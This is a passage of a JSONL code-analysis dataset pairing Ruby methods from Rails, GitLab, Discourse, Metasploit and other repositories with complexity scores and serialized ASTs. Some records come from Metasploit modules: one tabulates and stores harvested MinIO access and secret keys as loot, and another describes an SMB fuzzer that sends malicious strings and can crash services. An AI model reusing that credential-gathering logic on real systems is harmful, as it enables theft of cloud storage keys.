,\"children\":[\"overlapped\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"NotifyRouteChange\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PHANDLE\"]},{\"type\":\"str\",\"children\":[\"Handle\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"overlapped\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"SendARP\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"DestIP\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"SrcIP\"]},{\"type\":\"str\",\"children\":[\"in\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PBLOB\"]},{\"type\":\"str\",\"children\":[\"pMacAddr\"]},{\"type\":\"str\",\"children\":[\"out\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PDWORD\"]},{\"type\":\"str\",\"children\":[\"PhyAddrLen\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"SetIpTTL\"]},{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DWORD\"]},{\"type\":\"str\",\"children\":[\"nTTL\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]}]}]}]}","id":"331d91a0-b086-43ec-8928-206ef93c1f6d"}
+{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/xenforo.rb","start_line":181,"raw_source":"def import_categories_from_thread_prefixes\n puts \"\", \"importing categories...\"\n\n categories =\n mysql_query(\n \"\n SELECT prefix_id id\n FROM #{TABLE_PREFIX}thread_prefix\n ORDER BY prefix_id ASC\n \",\n ).to_a\n\n create_categories(categories) do |category|\n { id: category[\"id\"], name: \"Category-#{category[\"id\"]}\" }\n end\n\n @prefix_as_category = true\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"import_categories_from_thread_prefixes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing categories...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT prefix_id id\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLE_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"thread_prefix\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY prefix_id ASC\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"lvar\",\"children\":[\"categories\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Category-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@prefix_as_category\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"7bb25fc5-fd45-493d-8e0d-fc20078c55a4"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/authorized_keys_worker.rb","start_line":16,"raw_source":"def perform(action, *args)\n return unless Gitlab::CurrentSettings.authorized_keys_enabled?\n\n case action\n when 'add_key' then authorized_keys.add_key(*args)\n when 'remove_key' then authorized_keys.remove_key(*args)\n else raise \"Unknown action: #{action.inspect}\"\n end\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"authorized_keys_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"add_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_keys\"]},\"add_key\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_keys\"]},\"remove_key\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown action: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"inspect\"]}]}]}]}]}]}]}","id":"f49e98a8-e1ad-407c-beb1-890b65b05fe3"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":429,"raw_source":"def test_eager_load_has_many_through_has_many\n author = Author.all.merge!(where: [\"name = ?\", \"David\"], includes: :comments, order: \"comments.id\").first\n SpecialComment.new; VerySpecialComment.new\n assert_no_queries do\n assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12, 13], author.comments.collect(&:id)\n end\n end","complexity_score":17.58,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_load_has_many_through_has_many\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name = ?\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"comments\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"comments.id\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecialComment\"]},\"new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VerySpecialComment\"]},\"new\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"comments\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"a96df61b-0b91-4d11-bcae-a7aee2dcfa72"}
+{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":720,"raw_source":"def register_javascript(js)\n javascripts << js\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_javascript\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"javascripts\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"js\"]}]}]}","id":"863ed017-2257-4391-965d-2bebd05d3376"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/project_status_code.rb","start_line":42,"raw_source":"def status_code_key_for(value)\n Project.status_codes.key(value)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"status_code_key_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"status_codes\"]},\"key\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"001dcdfd-ac45-4780-95a2-b7cf857ad1ca"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/capture/storage.rb","start_line":42,"raw_source":"def connector_settings\n Settings.database_traffic_capture.config.storage.connector\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connector_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"database_traffic_capture\"]},\"config\"]},\"storage\"]},\"connector\"]}]}","id":"8f65a186-248f-4aa6-b7e2-511b34e4040f"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/minio_client.rb","start_line":60,"raw_source":"def print_and_save(all_result)\n columns = [\n 'name',\n 'url',\n 'accessKey',\n 'secretKey',\n 'api',\n 'path',\n ]\n tbl = Rex::Text::Table.new(\n 'Header' => 'MinIO Client Key',\n 'Columns' => columns\n )\n\n all_result.each do |name, item|\n row = [name, item['url'], item['accessKey'], item['secretKey'], item['api'], item['path']]\n tbl << row\n end\n\n print_line(tbl.to_s)\n if tbl.rows.count > 0\n path = store_loot('host.minio', 'text/plain', session, tbl, 'minio_client.txt', 'MinIO Client Key')\n print_good(\"Session info stored in: #{path}\")\n end\n end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"print_and_save\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"all_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"accessKey\"]},{\"type\":\"str\",\"children\":[\"secretKey\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"MinIO Client Key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_result\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"row\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"accessKey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"secretKey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"api\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"rows\"]},\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"host.minio\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"tbl\"]},{\"type\":\"str\",\"children\":[\"minio_client.txt\"]},{\"type\":\"str\",\"children\":[\"MinIO Client Key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session info stored in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},null]}]}]}","id":"43f1962b-cccc-4c00-842c-a98dc9438636"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/numbered_parameter_assignment.rb","start_line":35,"raw_source":"def on_lvasgn(node)\n return unless /\\A_(\\d+)\\z/ =~ node.name\n\n number = Regexp.last_match(1).to_i\n template = NUMBERED_PARAMETER_RANGE.include?(number) ? NUM_PARAM_MSG : LVAR_MSG\n\n add_offense(node, message: format(template, number: number))\n end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"on_lvasgn\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A_(\\\\d+)\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"number\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NUMBERED_PARAMETER_RANGE\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"number\"]}]},{\"type\":\"const\",\"children\":[null,\"NUM_PARAM_MSG\"]},{\"type\":\"const\",\"children\":[null,\"LVAR_MSG\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}]}]}]}]}]}]}","id":"2a934575-4c64-4273-a13e-d88397d03f86"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/pdf_export/report/sums_table.rb","start_line":59,"raw_source":"def sums_table_column_widths\n widths = sums_columns_objects.map do |col|\n col.name == :subject || text_column?(col) ? 4.0 : 1.0\n end\n widths.unshift 1.0\n ratio = pdf.bounds.width / widths.sum\n widths.map { |w| w * ratio }\n end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"sums_table_column_widths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"widths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sums_columns_objects\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"subject\"]}]},{\"type\":\"send\",\"children\":[null,\"text_column?\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},{\"type\":\"float\",\"children\":[4.0]},{\"type\":\"float\",\"children\":[1.0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"unshift\",{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"lvasgn\",\"children\":[\"ratio\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"bounds\"]},\"width\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"sum\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"ratio\"]}]}]}]}]}","id":"40cce4fc-f866-4786-a49b-2bddc24399ce"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gestioip_exec.rb","start_line":64,"raw_source":"def user\n datastore['HttpUsername']\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]}","id":"4b043671-6857-4181-a823-dcaf687414d4"}
+{"repo_name":"forem","file_path":"./repos/forem/app/models/user.rb","start_line":672,"raw_source":"def has_no_published_content?\n articles.published.from_subforem.empty? && comments_count.zero?\n end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_published_content?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"articles\"]},\"published\"]},\"from_subforem\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comments_count\"]},\"zero?\"]}]}]}","id":"65aae6d7-1cf3-40d7-a2ee-1e61e100a9e4"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/abort_pipelines_service_spec.rb","start_line":24,"raw_source":"def expect_correct_pipeline_cancellations\n expect(cancelable_pipeline.finished_at).not_to be_nil\n expect(cancelable_pipeline).to be_failed\n\n expect(manual_pipeline.finished_at).not_to be_nil\n expect(manual_pipeline).to be_failed\n end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_correct_pipeline_cancellations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancelable_pipeline\"]},\"finished_at\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"cancelable_pipeline\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_failed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"manual_pipeline\"]},\"finished_at\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"be_nil\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"manual_pipeline\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_failed\"]}]}]}]}","id":"4f4524a5-5be2-48ac-8e0a-0d8a4055683b"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'SMB Tree Connect Request Fuzzer',\n 'Description' => %q{\n This module sends a series of SMB tree connect\n requests using malicious strings.\n },\n 'Author' => [ 'hdm' ],\n 'License' => MSF_LICENSE,\n 'Notes' => {\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'SideEffects' => [],\n 'Reliability' => []\n }\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SMB Tree Connect Request Fuzzer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module sends a series of SMB tree connect\\n\"]},{\"type\":\"str\",\"children\":[\" requests using malicious strings.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"b9f54729-2595-4a09-aa2d-a7c7719c959b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/deduplicate_lfs_objects_projects.rb","start_line":16,"raw_source":"def perform\n each_sub_batch do |relation|\n data = duplicates_by_project_id_and_lfs_object_id(relation)\n\n next if data.empty?\n\n # After plucking the duplicates, build a VALUE list\n id_list = Arel::Nodes::ValuesList.new(data).to_sql\n\n # Use the same GROUP BY query as in the MR to properly narrow down the duplicated records.\n # In the previous query we didn't include the repository_type because it is not covered with an index.\n subquery = LfsObjectsProject\n .where(\"(project_id, lfs_object_id) IN (#{id_list})\") # rubocop:disable GitlabSecurity/SqlInjection -- there is no user input given\n .select('project_id, lfs_object_id, repository_type, MAX(id) AS max_id')\n .group('project_id, lfs_object_id, repository_type')\n .having('COUNT(*) > 1')\n\n join_query = <<~SQL.squish\n INNER JOIN (#{subquery.to_sql}) AS duplicates\n ON lfs_objects_projects.project_id = duplicates.project_id\n AND lfs_objects_projects.lfs_object_id = duplicates.lfs_object_id\n AND lfs_objects_projects.repository_type IS NOT DISTINCT FROM duplicates.repository_type\n SQL\n\n duplicated_lfs_objects_projects = LfsObjectsProject.joins(join_query).where.not(\n 'lfs_objects_projects.id = duplicates.max_id'\n )\n\n LfsObjectsProject.where(id: duplicated_lfs_objects_projects.select(:id)).delete_all\n end\n end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"duplicates_by_project_id_and_lfs_object_id\",{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"id_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"ValuesList\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"to_sql\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subquery\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsObjectsProject\"]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(project_id, lfs_object_id) IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_list\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},\"select\",{\"type\":\"str\",\"children\":[\"project_id, lfs_object_id, repository_type, MAX(id) AS max_id\"]}]},\"group\",{\"type\":\"str\",\"children\":[\"project_id, lfs_object_id, repository_type\"]}]},\"having\",{\"type\":\"str\",\"children\":[\"COUNT(*) > 1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"join_query\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INNER JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subquery\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS duplicates\\n\"]},{\"type\":\"str\",\"children\":[\"ON lfs_objects_projects.project_id = duplicates.project_id\\n\"]},{\"type\":\"str\",\"children\":[\"AND lfs_objects_projects.lfs_object_id = duplicates.lfs_object_id\\n\"]},{\"type\":\"str\",\"children\":[\"AND lfs_objects_projects.repository_type IS NOT DISTINCT FROM 